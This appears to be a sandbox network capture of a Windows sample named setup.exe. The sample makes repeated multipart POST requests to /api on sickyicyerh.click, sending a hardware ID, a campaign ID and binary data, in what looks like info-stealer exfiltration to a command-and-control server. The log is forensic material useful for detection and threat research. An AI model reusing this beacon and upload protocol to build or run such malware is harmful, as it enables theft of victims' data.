2024-12-24 00:17:12 UTC	1369	IN	Data Raw: 32 65 33 30 0d 0a 70 2f 48 70 55 38 47 6c 72 6c 44 52 58 78 57 47 6e 64 50 6b 71 59 4e 4f 59 35 75 52 43 59 32 6e 67 63 76 62 52 79 31 46 2f 34 66 6a 2f 75 51 64 6c 75 53 6d 56 74 68 54 48 59 53 53 30 4b 37 75 79 45 56 77 33 38 56 41 70 34 61 31 6a 50 39 38 61 56 61 37 6d 4b 44 36 35 31 4c 42 72 4f 6f 62 6c 46 77 4b 77 73 4f 63 67 66 44 49 52 33 32 62 31 67 65 37 77 4c 4f 46 75 69 55 74 56 72 69 59 70 66 7a 6b 58 4d 69 73 72 31 33 51 57 68 53 45 6d 4e 4f 67 34 73 4a 47 66 39 66 48 51 36 4f 42 75 49 4c 31 64 6d 67 61 2f 39 36 6b 34 61 67 46 6a 70 57 70 51 38 4e 4c 48 73 4b 45 6b 72 32 6e 78 45 55 37 67 34 6c 49 73 49 71 2b 68 2f 39 79 61 46 6d 2b 6d 61 37 2f 35 46 66 48 72 4b 78 61 33 55 6b 52 6a 70 58 62 71 75 76 4e 52 48 48 59 78 41 6e 73 77 4c 4f 52 75 Data Ascii: 2e30p/HpU8GlrlDRXxWGndPkqYNOY5uRCY2ngcvbRy1F/4fj/uQdluSmVthTHYSS0K7uyEVw38VAp4a1jP98aVa7mKD651LBrOoblFwKwsOcgfDIR32b1ge7wLOFuiUtVriYpfzkXMisr13QWhSEmNOg4sJGf9fHQ6OBuIL1dmga/96k4agFjpWpQ8NLHsKEkr2nxEU7g4lIsIq+h/9yaFm+ma7/5FfHrKxa3UkRjpXbquvNRHHYxAnswLORu
2024-12-24 00:17:12 UTC	1369	IN	Data Raw: 36 6b 61 58 72 35 46 50 63 6f 62 68 48 6c 42 56 53 68 59 4f 63 2f 4b 66 31 54 6d 76 4c 79 67 75 54 6c 72 65 66 38 58 42 68 47 71 37 51 75 72 6e 76 55 59 37 38 36 6c 50 62 55 68 47 4e 6d 74 57 6f 36 73 5a 41 66 74 72 50 54 61 69 4b 74 49 2f 38 66 47 68 51 73 70 2b 70 38 4f 39 56 79 61 65 34 46 5a 6f 62 46 5a 72 62 68 4f 54 4f 78 46 74 31 79 34 6c 57 37 4a 6e 30 6a 76 59 39 4e 52 71 31 6c 4b 7a 39 37 31 48 49 6f 61 78 59 31 56 51 54 67 70 54 59 72 2b 37 46 53 48 62 65 78 45 32 77 69 72 2b 47 39 6e 52 68 56 2f 48 51 34 2f 37 77 48 5a 62 6b 6d 31 6a 61 56 52 57 55 32 38 50 71 2f 6f 4e 4f 64 35 75 52 43 61 4f 4d 75 34 72 31 66 6d 35 62 75 34 79 78 39 65 46 56 79 36 69 68 57 39 4a 4a 46 49 32 53 33 36 66 75 78 45 46 33 30 63 70 4f 34 73 37 30 6a 75 49 39 4e 52 Data Ascii: 6kaXr5FPcobhHlBVShYOc/Kf1TmvLyguTlref8XBhGq7QurnvUY786lPbUhGNmtWo6sZAftrPTaiKtI/8fGhQsp+p8O9Vyae4FZobFZrbhOTOxFt1y4lW7Jn0jvY9NRq1lKz971HIoaxY1VQTgpTYr+7FSHbexE2wir+G9nRhV/HQ4/7wHZbkm1jaVRWU28Pq/oNOd5uRCaOMu4r1fm5bu4yx9eFVy6ihW9JJFI2S36fuxEF30cpO4s70juI9NR
2024-12-24 00:17:12 UTC	1369	IN	Data Raw: 75 65 39 52 6a 76 7a 71 55 39 31 64 46 59 53 56 7a 71 48 68 7a 45 5a 79 30 73 31 42 6f 59 43 77 6a 66 31 34 62 6c 61 36 6d 61 44 32 37 46 54 41 72 61 55 56 6d 68 73 56 6d 74 75 45 35 4d 62 59 53 6e 66 57 69 56 62 73 6d 66 53 4f 39 6a 30 31 47 72 32 51 70 76 6e 69 57 38 71 68 72 46 2f 52 57 78 6d 42 6c 4e 69 69 34 38 78 4a 63 4e 4c 49 54 36 65 4b 76 34 2f 33 66 6d 74 63 38 64 44 6a 2f 76 41 64 6c 75 53 4b 54 74 6c 58 46 63 4b 45 6b 72 32 6e 78 45 55 37 67 34 6c 43 72 6f 53 7a 69 66 64 2b 5a 56 2b 31 6c 4b 62 35 34 45 2f 47 70 4b 31 48 78 6c 73 62 68 35 66 66 70 4f 50 46 51 48 33 59 7a 51 6e 73 77 4c 4f 52 75 69 55 74 64 37 32 5a 69 76 37 7a 48 64 48 71 73 78 58 54 56 31 4c 61 32 39 32 76 37 63 78 45 65 4e 33 4b 51 71 65 4b 74 59 37 79 63 48 39 5a 76 70 47 Data Ascii: ue9RjvzqU91dFYSVzqHhzEZy0s1BoYCwjf14bla6maD27FTAraUVmhsVmtuE5MbYSnfWiVbsmfSO9j01Gr2QpvniW8qhrF/RWxmBlNii48xJcNLIT6eKv4/3fmtc8dDj/vAdluSKTtlXFcKEkr2nxEU7g4lCroSzifd+ZV+1lKb54E/GpK1Hxlsbh5ffpOPFQH3YzQnswLORuiUtd72Ziv7zHdHqsxXTV1La292v7cxEeN3KQqeKtY7ycH9ZvpG
2024-12-24 00:17:12 UTC	1369	IN	Data Raw: 39 79 69 71 55 50 58 48 43 79 38 76 4d 61 70 34 64 52 59 52 65 58 4f 55 36 2b 47 6f 35 69 32 61 47 35 55 76 35 6d 31 75 61 59 64 77 65 54 79 62 4a 51 54 55 72 33 56 6e 4c 79 6e 6d 77 6c 4f 32 4d 64 48 70 5a 61 6c 78 4e 31 6e 59 46 79 6d 6a 2b 4f 33 71 46 75 4f 2f 50 6f 62 6c 46 38 44 77 73 4f 4d 39 72 79 57 47 69 79 4c 6d 31 62 73 6d 66 53 66 75 69 55 2f 46 50 47 4d 34 36 47 6f 47 73 32 32 75 46 50 58 54 52 48 46 70 65 4b 4b 34 4d 56 4d 66 4d 75 4c 5a 36 6d 55 73 38 6d 30 50 57 49 61 36 61 66 6a 73 61 68 69 67 4f 53 79 46 59 77 62 4a 34 47 56 30 71 50 78 30 67 52 56 33 4d 39 4d 70 5a 44 32 70 2f 46 70 61 68 72 2f 33 71 57 35 73 41 32 41 35 4b 35 45 6c 41 4e 43 30 4d 43 4a 39 37 43 54 47 32 53 56 30 41 6d 30 77 4f 7a 62 74 44 31 2f 47 75 6e 65 35 50 72 36 Data Ascii: 9yiqUPXHCy8vMap4dRYReXOU6+Go5i2aG5Uv5m1uaYdweTybJQTUr3VnLynmwlO2MdHpZalxN1nYFymj+O3qFuO/PoblF8DwsOM9ryWGiyLm1bsmfSfuiU/FPGM46GoGs22uFPXTRHFpeKK4MVMfMuLZ6mUs8m0PWIa6afjsahigOSyFYwbJ4GV0qPx0gRV3M9MpZD2p/Fpahr/3qW5sA2A5K5ElANC0MCJ97CTG2SV0Am0wOzbtD1/Gune5Pr6
2024-12-24 00:17:12 UTC	1369	IN	Data Raw: 70 61 6c 41 4d 72 77 74 4f 63 6d 36 6d 44 55 54 75 44 69 58 79 68 6a 72 71 4f 37 47 77 67 66 62 2b 5a 6f 75 2f 34 53 73 48 72 68 47 50 31 47 31 7a 43 6e 5a 7a 38 74 59 30 4a 66 38 71 4a 45 66 4c 53 37 39 79 70 4b 6a 30 49 72 74 43 36 75 66 34 64 6c 76 62 6b 46 63 59 62 53 73 4c 63 33 37 62 31 78 55 70 74 32 49 35 33 6e 4b 65 36 6a 76 74 72 66 56 65 39 76 36 44 6f 34 6d 50 77 73 61 6c 62 32 6c 77 45 6b 39 75 53 35 4f 69 44 45 55 4b 62 67 51 6d 64 7a 76 53 52 75 69 55 74 62 37 4b 51 72 66 37 2b 54 49 4f 44 70 46 4c 56 54 51 4b 50 6c 2f 32 6e 39 73 6b 4a 4e 5a 76 50 43 66 72 53 2b 73 6e 2b 62 43 30 43 34 63 7a 34 72 4c 73 4b 6e 76 61 31 47 38 30 62 42 4d 4c 44 6a 75 71 6e 30 51 6b 6a 6d 34 35 4b 73 4a 4b 79 69 75 78 2b 4b 6d 53 50 75 37 54 36 2b 46 76 4e 6d Data Ascii: palAMrwtOcm6mDUTuDiXyhjrqO7Gwgfb+Zou/4SsHrhGP1G1zCnZz8tY0Jf8qJEfLS79ypKj0IrtC6uf4dlvbkFcYbSsLc37b1xUpt2I53nKe6jvtrfVe9v6Do4mPwsalb2lwEk9uS5OiDEUKbgQmdzvSRuiUtb7KQrf7+TIODpFLVTQKPl/2n9skJNZvPCfrS+sn+bC0C4cz4rLsKnva1G80bBMLDjuqn0Qkjm45KsJKyiux+KmSPu7T6+FvNm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	104.21.82.188	443	3448	C:\Users\user\Desktop\setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 00:17:14 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=F6A93ZJZX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12780 Host: sickyicyerh.click
2024-12-24 00:17:14 UTC	12780	OUT	Data Raw: 2d 2d 46 36 41 39 33 5a 4a 5a 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 36 33 42 46 35 33 41 33 32 34 43 46 42 34 31 41 30 39 38 37 31 46 39 46 41 36 33 44 43 35 45 0d 0a 2d 2d 46 36 41 39 33 5a 4a 5a 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 46 36 41 39 33 5a 4a 5a 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 53 42 45 52 0d 0a 2d 2d 46 36 41 39 33 5a 4a 5a 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f Data Ascii: --F6A93ZJZXContent-Disposition: form-data; name="hwid"863BF53A324CFB41A09871F9FA63DC5E--F6A93ZJZXContent-Disposition: form-data; name="pid"2--F6A93ZJZXContent-Disposition: form-data; name="lid"hRjzG3--SBER--F6A93ZJZXContent-Dispo
2024-12-24 00:17:15 UTC	1132	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 00:17:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sg5lvra3utbl6cv4c8ot048nim; expires=Fri, 18 Apr 2025 18:03:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iFJUruBJp3flyxmCwkjnvmHB1GWj1UwQQRY9dQm2%2FC0BtgkQjcZx0U96707oz2XoQjom%2B0h4CfQxPuZpwQMzk3yWBsoloUfd1XWD4axOjmdXMa5Hsuv%2BeIkSv3ESo2sKYpPKkw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6c68413e32ef9d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1950&min_rtt=1940&rtt_var=749&sent=6&recv=16&lost=0&retrans=0&sent_bytes=2843&recv_bytes=13712&delivery_rate=1440552&cwnd=121&unsent_bytes=0&cid=8adb472bbd771c10&ts=916&x=0"
2024-12-24 00:17:15 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-24 00:17:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	104.21.82.188	443	3448	C:\Users\user\Desktop\setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 00:17:16 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=HLM3HDCLH User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15022 Host: sickyicyerh.click
2024-12-24 00:17:16 UTC	15022	OUT	Data Raw: 2d 2d 48 4c 4d 33 48 44 43 4c 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 36 33 42 46 35 33 41 33 32 34 43 46 42 34 31 41 30 39 38 37 31 46 39 46 41 36 33 44 43 35 45 0d 0a 2d 2d 48 4c 4d 33 48 44 43 4c 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 48 4c 4d 33 48 44 43 4c 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 53 42 45 52 0d 0a 2d 2d 48 4c 4d 33 48 44 43 4c 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f Data Ascii: --HLM3HDCLHContent-Disposition: form-data; name="hwid"863BF53A324CFB41A09871F9FA63DC5E--HLM3HDCLHContent-Disposition: form-data; name="pid"2--HLM3HDCLHContent-Disposition: form-data; name="lid"hRjzG3--SBER--HLM3HDCLHContent-Dispo
2024-12-24 00:17:17 UTC	1129	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 00:17:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6jm6ttnvob4333ms8hdtreke9k; expires=Fri, 18 Apr 2025 18:03:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tT4bjCFJczW4HxvI3psivf1coOVqKSvpALW2zA8ucGJuTccnNobalLlkfMEhMOCy8bYsVWhN1MiuoVHZEMt%2BQ6fUNbpPho3znelqjLEYuIpJuaicEkNLwJd0vO7GttvPs5UU0g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6c684f69567cac-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1945&min_rtt=1937&rtt_var=743&sent=10&recv=19&lost=0&retrans=0&sent_bytes=2843&recv_bytes=15954&delivery_rate=1456359&cwnd=197&unsent_bytes=0&cid=4ed165e57df2fca1&ts=807&x=0"
2024-12-24 00:17:17 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-24 00:17:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49709	104.21.82.188	443	3448	C:\Users\user\Desktop\setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 00:17:18 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=75ISQMSXN User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20512 Host: sickyicyerh.click
2024-12-24 00:17:18 UTC	15331	OUT	Data Raw: 2d 2d 37 35 49 53 51 4d 53 58 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 36 33 42 46 35 33 41 33 32 34 43 46 42 34 31 41 30 39 38 37 31 46 39 46 41 36 33 44 43 35 45 0d 0a 2d 2d 37 35 49 53 51 4d 53 58 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 37 35 49 53 51 4d 53 58 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 53 42 45 52 0d 0a 2d 2d 37 35 49 53 51 4d 53 58 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f Data Ascii: --75ISQMSXNContent-Disposition: form-data; name="hwid"863BF53A324CFB41A09871F9FA63DC5E--75ISQMSXNContent-Disposition: form-data; name="pid"3--75ISQMSXNContent-Disposition: form-data; name="lid"hRjzG3--SBER--75ISQMSXNContent-Dispo
2024-12-24 00:17:18 UTC	5181	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9d 1b 88 82 b9 Data Ascii: un 4F([:7s~X`nO`i`
2024-12-24 00:17:19 UTC	1133	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 00:17:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7ko9rgh54kud3i79jqk8edq8or; expires=Fri, 18 Apr 2025 18:03:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0klXTi3DxWklNjRQuGxzk0MOXARtycH8wwtyHKjfWjB6NqKexLxNg%2FgYk7RO8TUD6t3JZ4JGuMge7%2BRIM7AQtbK%2BAKzohzxOSLzvIccz9vDtUm3NFUe89bENOnG2XTqquYNgmg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6c685d39b21881-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1656&min_rtt=1650&rtt_var=632&sent=10&recv=24&lost=0&retrans=0&sent_bytes=2843&recv_bytes=21466&delivery_rate=1714621&cwnd=238&unsent_bytes=0&cid=9654efcebd378ed5&ts=960&x=0"
2024-12-24 00:17:19 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-24 00:17:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49713	104.21.82.188	443	3448	C:\Users\user\Desktop\setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 00:17:21 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=TX5STMGP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1184 Host: sickyicyerh.click
2024-12-24 00:17:21 UTC	1184	OUT	Data Raw: 2d 2d 54 58 35 53 54 4d 47 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 36 33 42 46 35 33 41 33 32 34 43 46 42 34 31 41 30 39 38 37 31 46 39 46 41 36 33 44 43 35 45 0d 0a 2d 2d 54 58 35 53 54 4d 47 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 54 58 35 53 54 4d 47 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 53 42 45 52 0d 0a 2d 2d 54 58 35 53 54 4d 47 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 Data Ascii: --TX5STMGPContent-Disposition: form-data; name="hwid"863BF53A324CFB41A09871F9FA63DC5E--TX5STMGPContent-Disposition: form-data; name="pid"1--TX5STMGPContent-Disposition: form-data; name="lid"hRjzG3--SBER--TX5STMGPContent-Dispositi
2024-12-24 00:17:22 UTC	1134	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 00:17:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jl3s2rgbamugf7f6dphfcfc1nn; expires=Fri, 18 Apr 2025 18:04:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BrFA4jWrTQyPwD8oa%2BOCy84klpm8EGR%2FmRdPoCl%2FVEup8ac9UuX7jYFNmzIHRQNzTH0TklRr9Z%2B2f6ZeAXMEwbHaY9CqY1D2KQu4T9aeMBzBhltaDO8%2FQ8BujSnns6JiDvk7iA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6c686d3ec87cea-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1936&min_rtt=1926&rtt_var=742&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2842&recv_bytes=2092&delivery_rate=1455633&cwnd=226&unsent_bytes=0&cid=84241b5b7291044a&ts=758&x=0"
2024-12-24 00:17:22 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-24 00:17:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49720	104.21.82.188	443	3448	C:\Users\user\Desktop\setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 00:17:23 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=I866UGUTN3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1068 Host: sickyicyerh.click
2024-12-24 00:17:23 UTC	1068	OUT	Data Raw: 2d 2d 49 38 36 36 55 47 55 54 4e 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 36 33 42 46 35 33 41 33 32 34 43 46 42 34 31 41 30 39 38 37 31 46 39 46 41 36 33 44 43 35 45 0d 0a 2d 2d 49 38 36 36 55 47 55 54 4e 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 49 38 36 36 55 47 55 54 4e 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 53 42 45 52 0d 0a 2d 2d 49 38 36 36 55 47 55 54 4e 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 Data Ascii: --I866UGUTN3Content-Disposition: form-data; name="hwid"863BF53A324CFB41A09871F9FA63DC5E--I866UGUTN3Content-Disposition: form-data; name="pid"1--I866UGUTN3Content-Disposition: form-data; name="lid"hRjzG3--SBER--I866UGUTN3Content-D
2024-12-24 00:17:24 UTC	1127	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 00:17:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=v3291j0e9baaovqobksuqjhe01; expires=Fri, 18 Apr 2025 18:04:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KUaLsxaWXQHreV50NC4IyMuf%2FtwkUojfdK5J94qYtce7KEWNpq8tr7%2Bev0N8VemWpzjUsFGY9eRMh4J0FrUHp9zGwRsTVeWXfFqbbWN57lKf939MRwjbR7Pl5gbDt99NnW3nVQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6c687ab88842d2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1590&min_rtt=1590&rtt_var=795&sent=7&recv=8&lost=0&retrans=1&sent_bytes=4228&recv_bytes=1978&delivery_rate=267717&cwnd=227&unsent_bytes=0&cid=346596d539cb301a&ts=854&x=0"
2024-12-24 00:17:24 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-24 00:17:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49727	104.21.82.188	443	3448	C:\Users\user\Desktop\setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 00:17:25 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 113 Host: sickyicyerh.click
